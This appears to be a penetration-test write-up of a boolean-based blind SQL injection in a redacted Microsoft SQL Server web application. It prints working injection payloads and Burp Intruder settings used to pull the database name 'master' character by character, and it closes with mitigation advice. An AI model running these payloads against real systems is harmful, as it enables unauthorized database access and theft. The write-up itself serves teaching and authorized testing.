From Error-Based Discovery to Blind Enumeration: Exploiting Boolean-Based SQL Injection in Microsoft SQL Server

Introduction

During a security assessment, I discovered a Boolean-Based SQL Injection vulnerability in a Microsoft SQL Server-backed web application. Although the application did not directly return database contents, differences in response lengths allowed successful enumeration of backend database information.

This writeup demonstrates the complete process of identifying the vulnerability, confirming injectable behavior, and extracting the database name using Boolean-based conditions and Burp Suite Intruder.

Disclaimer: All target information has been redacted. This writeup is intended for educational purposes and authorized security testing only.

Identifying the Vulnerability

Step 1 — Capturing the Request

While browsing the application, I identified the following endpoint:

GET /xxx/elenBP.asp?num_prat=123456 HTTP/1.1
Host: redacted.com

The normal response size was:

11,058 bytes

Step 2 — Triggering a SQL Error

I inserted a single quote into the parameter:

GET /xxx/elenBP.asp?num_prat=123456'

The application responded with the following error:

Microsoft SQL Server Native Client 11.0

This confirmed that user input was being passed directly into a backend SQL query without proper sanitization, making SQL Injection highly likely.

Confirming Boolean-Based SQL Injection

Step 3 — Testing a True Condition

I appended a simple Boolean expression:

?num_prat=123456AND%201%3D1

Decoded:

AND 1=1

Response size:

11,371 bytes

Step 4 — Testing a False Condition

Next, I tested:

?num_prat=123456AND%201%3D2

Decoded:

AND 1=2

Response size:

11,001 bytes

Observation

Condition Response Length Original Request 11,058

AND 1=1 →11,371 AND 1=2 → 11,001

The response size consistently changed depending on whether the injected condition evaluated to true or false. This confirmed the presence of a Boolean-Based Blind SQL Injection vulnerability.

Enumerating Data Using Burp Suite Intruder

Since the application returned no direct query output, data had to be extracted one character at a time by observing response length differences.

Payload Used

To extract the first character of the first database name, I used the following payload:

?num_prat=123456AND(SELECT CASE WHEN(ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases ORDER BY name),1,1))>§value§) THEN 1 ELSE 0 END)=1

Payload Breakdown

SELECT TOP 1 name FROM sys.databases ORDER BY name

• Retrieves the first database name.

SUBSTRING(…,1,1)

• Extracts the first character.

ASCII()

• Converts the character into its ASCII value. You can refer the below ASCII chart.

> §value§

• Compares the ASCII value against the current Burp Intruder payload.

CASE WHEN … THEN 1 ELSE 0 END

• Produces a clean Boolean result.

Burp Intruder Configuration

Attack Type: Sniper

Payload Type: Numbers

Payload Range: 0–127

Step: 1

Payload Position: §value§

This configuration allows Burp Intruder to test every ASCII value and identify where the application response changes.

Reading the Results — The First Drop Method

As Burp Intruder iterates upward from 0, the condition:

ASCII(character) > payload

remains true while the payload value is lower than the actual ASCII value of the target character.

During this phase, the response length remains approximately:

11,371 bytes

The moment the payload reaches the actual ASCII value, the condition becomes false and the response length drops to:

11,001 bytes

This first drop in response size reveals the exact ASCII value of the character.

The first drop occurred at:

109

ASCII 109 corresponds to:

m

Extracting the Database Name Character by Character

For each subsequent position, I modified the SUBSTRING index and repeated the Intruder attack.

Position 1

ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases ORDER BY name),1,1))>§value§

First drop:

109 → m

Position 2

ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases ORDER BY name),2,1))>§value§

First drop:

97 → a

Position 3

ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases ORDER BY name),3,1))>§value§

First drop:

115 → s

Position 4

ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases ORDER BY name),4,1))>§value§

First drop:

116 → t

Position 5

ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases ORDER BY name),5,1))>§value§

First drop:

101 → e

Position 6

ASCII(SUBSTRING((SELECT TOP 1 name FROM sys.databases ORDER BY name),6,1))>§value§

First drop:

114 → r

Position 7

No response-length transition occurred across the full ASCII range (0–127).

This confirmed the end of the string.

Final Result

Position ASCII Value Character. 1 → 109 → m 2 → 97 → a 3 →115 → s 4 →116 → t 5 →101 →e 6 →114 →r

Database Name

master

Length

6 characters

Further Enumeration

After successfully identifying the database name, the same technique was used to enumerate table names and column names by modifying the inner SELECT query.

Further testing revealed a table name containing 21 characters, demonstrating that arbitrary schema information could be extracted through this vulnerability.

Key Takeaways

Information Disclosure Matters

The error message:

Microsoft SQL Server Native Client 11.0

immediately revealed the backend database technology and helped tailor injection payloads accordingly.

Response Length Can Leak Data

Even when applications suppress all query output, response size differences can still serve as a reliable Boolean oracle.

Any observable difference — response size, timing, status code, or content variation — may be leveraged for data extraction.

The First Drop Reveals the Character

When using a greater-than comparison (>), responses remain in the true state until the payload reaches the actual ASCII value.

The exact payload value where the response length first drops corresponds to the ASCII value of the target character.

Blind SQL Injection Is Still Dangerous

Suppressing SQL query results does not eliminate risk.

As long as injected Boolean conditions produce measurable differences in application behavior, attackers can enumerate databases, tables, columns, and potentially sensitive information.

Conclusion

Starting from a single SQL Server error message, this assessment progressed to successful extraction of the backend database name using nothing more than response-length analysis and Burp Suite Intruder.

Each character was identified by locating the first payload value where the response length transitioned from the true-condition state to the false-condition state.

No direct query output was required.

This case highlights how a simple input validation flaw can enable complete database enumeration through Boolean-Based Blind SQL Injection.

Organizations should mitigate these vulnerabilities by:

• Using parameterized queries.
• Implementing strict input validation.
• Applying least-privilege database permissions.
• Avoiding verbose database error messages.

A single unsanitized parameter can be enough to expose an entire database.